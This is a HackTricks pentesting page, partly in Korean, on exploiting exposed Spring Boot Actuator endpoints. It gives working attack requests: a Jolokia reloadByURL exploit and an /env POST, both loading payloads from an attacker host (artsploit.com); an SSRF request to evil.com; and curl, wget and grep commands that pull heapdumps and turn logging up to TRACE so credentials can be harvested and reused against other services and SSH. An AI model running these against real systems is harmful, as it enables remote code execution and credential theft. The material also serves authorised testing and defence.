Spring Actuators

Reading time: 6 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Spring Auth Bypass

From https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png

Exploiting Spring Boot Actuators

원문 게시물: [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]

핵심 요점:

  • Spring Boot Actuators는 /health, /trace, /beans, /env 등과 같은 엔드포인트를 등록합니다. 버전 1~1.4에서는 이러한 엔드포인트가 인증 없이 접근 가능했습니다. 1.5부터는 기본적으로 /health/info만 민감하지 않은 것으로 설정되지만, 개발자들이 이 보안을 종종 비활성화합니다.
  • 일부 Actuator 엔드포인트는 민감한 데이터를 노출하거나 유해한 동작을 허용할 수 있습니다:
  • /dump, /trace, /logfile, /shutdown, /mappings, /env, /actuator/env, /restart, and /heapdump.
  • Spring Boot 1.x에서는 actuator가 루트 URL에 등록되며, 2.x에서는 /actuator/ 베이스 경로 아래에 등록됩니다.

공격 기법:

  1. Remote Code Execution via '/jolokia':
  • The /jolokia actuator endpoint exposes the Jolokia Library, which allows HTTP access to MBeans.
  • The reloadByURL action can be exploited to reload logging configurations from an external URL, which can lead to blind XXE or Remote Code Execution via crafted XML configurations.
  • Example exploit URL: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml.
  1. Config Modification via '/env':
  • If Spring Cloud Libraries are present, the /env endpoint allows modification of environmental properties.
  • Properties can be manipulated to exploit vulnerabilities, such as the XStream deserialization vulnerability in the Eureka serviceURL.
  • Example exploit POST request:
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
  1. 기타 유용한 설정:
  • spring.datasource.tomcat.validationQuery, spring.datasource.tomcat.url, 및 spring.datasource.tomcat.max-active 같은 속성은 SQL injection이나 데이터베이스 연결 문자열 변경 등 다양한 익스플로잇에 악용될 수 있습니다.

추가 정보:

  • A comprehensive list of default actuators can be found here.
  • Spring Boot 2.x의 /env 엔드포인트는 속성 수정을 위해 JSON 형식을 사용하지만, 기본 개념은 동일합니다.

관련 주제:

  1. Env + H2 RCE:
  • /env 엔드포인트와 H2 데이터베이스의 조합을 이용한 익스플로잇에 대한 자세한 내용은 here에서 확인할 수 있습니다.
  1. 경로 이름 해석 오류를 통한 Spring Boot SSRF:
  • HTTP 경로명에서 matrix parameters (;)를 처리하는 Spring 프레임워크의 방식은 Server-Side Request Forgery (SSRF)에 악용될 수 있습니다.
  • Example exploit request:
http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

HeapDump secrets mining (credentials, tokens, internal URLs)

만약 /actuator/heapdump가 노출되어 있다면, 보통 DB 자격증명, API 키, Basic-Auth, 내부 서비스 URL, Spring 프로퍼티 맵 등과 같은 실시간 비밀을 포함한 전체 JVM 힙 스냅샷을 가져올 수 있습니다.

  • Download and quick triage:
bash
wget http://target/actuator/heapdump -O heapdump
# Quick wins: look for HTTP auth and JDBC
strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client'
# Decode any Basic credentials you find
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
  • Deeper analysis with VisualVM and OQL:
  • Open heapdump in VisualVM, inspect instances of java.lang.String or run OQL to hunt secrets:
select s.toString()
from java.lang.String s
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
  • Automated extraction with JDumpSpider:
bash
java -jar JDumpSpider-*.jar heapdump

Typical high-value findings:

  • Spring DataSourceProperties / HikariDataSource objects exposing url, username, password.
  • OriginTrackedMapPropertySource entries revealing management.endpoints.web.exposure.include, service ports, and embedded Basic-Auth in URLs (e.g., Eureka defaultZone).
  • Plain HTTP request/response fragments including Authorization: Basic ... captured in memory.

팁:

  • SecLists의 spring-boot.txt와 같이 Spring에 초점을 맞춘 워드리스트를 사용해 actuator 엔드포인트를 빠르게 찾아보세요. 또한 /actuator/logfile, /actuator/httpexchanges, /actuator/env, /actuator/configprops도 노출되어 있는지 항상 확인하세요.
  • heapdump에서 얻은 자격증명은 인접한 서비스나 때로는 시스템 사용자(SSH)에도 유효한 경우가 많으므로 폭넓게 시도해 보세요.

Abusing Actuator loggers/logging to capture credentials

만약 management.endpoints.web.exposure.include가 허용하고 /actuator/loggers가 노출되어 있다면, 인증과 요청 처리를 담당하는 패키지들의 로그 레벨을 동적으로 DEBUG/TRACE로 올릴 수 있습니다. /actuator/logfile이나 알려진 로그 경로를 통해 로그를 읽을 수 있는 상태와 결합하면 로그인 흐름 중 제출된 자격증명(예: Basic-Auth 헤더나 폼 파라미터)이 노출되어 leak될 수 있습니다.

  • Enumerate and crank up sensitive loggers:
bash
# List available loggers
curl -s http://target/actuator/loggers | jq .

# Enable very verbose logs for security/web stacks (adjust as needed)
curl -s -X POST http://target/actuator/loggers/org.springframework.security \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.web \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
  • Find where logs are written and harvest:
bash
# If exposed, read from Actuator directly
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='

# Otherwise, query env/config to locate file path
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
  • 로그인/인증 트래픽을 유발시키고 로그에서 자격증명을 파싱하세요. Gateway가 인증 앞단을 담당하는 마이크로서비스 환경에서는 gateway/security 패키지에 대해 TRACE를 활성화하면 헤더와 폼 바디가 노출되는 경우가 많습니다. 일부 환경은 주기적으로 합성 로그인 트래픽을 생성하기도 하므로, 로그를 자세하게 설정하면 수집이 매우 쉬워집니다.

노트:

  • 끝난 후 로그 레벨을 초기화하세요: POST /actuator/loggers/<logger>{ "configuredLevel": null } 전송.
  • /actuator/httpexchanges가 노출되어 있다면 민감한 헤더를 포함할 수 있는 최근 요청 메타데이터도 확인할 수 있습니다.

References

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기